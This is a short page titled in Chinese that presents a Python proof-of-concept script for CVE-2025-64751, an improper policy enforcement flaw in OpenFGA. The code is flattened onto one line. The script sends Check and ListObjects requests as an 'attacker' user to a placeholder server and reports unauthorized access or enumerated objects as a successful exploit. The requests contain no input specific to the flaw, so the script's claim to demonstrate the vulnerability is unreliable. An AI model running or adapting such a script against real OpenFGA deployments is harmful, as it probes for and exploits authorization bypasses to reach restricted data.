CVE-2025-64751 OpenFGA 权限策略执行不当漏洞

# CVE-2025-64751 PoC - OpenFGA Improper Policy Enforcement # This PoC demonstrates the vulnerability in Check and ListObject API import requests import json OPENFGA_URL = "http://target-openfga-server:8080" STORE_ID = "your-store-id" MODEL_ID = "your-model-id" AUTH_TOKEN = "your-auth-token" def exploit_check_api(): """Exploit the Check API to bypass authorization""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious request targeting vulnerable Check endpoint payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker", "object": "document:secret-document" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/check", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"Check API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: allowed=true when it should be false if result.get("allowed"): print("[+] VULNERABLE: Unauthorized access granted!") return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_list_objects_api(): """Exploit the ListObjects API to enumerate restricted resources""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "store_id": STORE_ID, "model_id": MODEL_ID, "type": "document", "relation": "viewer", "user": "user:attacker" } try: response = requests.post( f"{OPENFGA_URL}/stores/{STORE_ID}/list-objects", headers=headers, json=payload, timeout=10 ) result = response.json() print(f"ListObjects API Response: {json.dumps(result, indent=2)}") # Vulnerable behavior: returns objects user shouldn't access if "objects" in result and len(result["objects"]) > 0: print(f"[+] VULNERABLE: Retrieved {len(result['objects'])} unauthorized objects") return result["objects"] except Exception as e: print(f"[-] Error: {e}") return [] if __name__ == "__main__": print("="*60) print("CVE-2025-64751 OpenFGA PoC") print("="*60) print("\n[*] Testing Check API...") exploit_check_api() print("\n[*] Testing ListObjects API...") exploit_list_objects_api()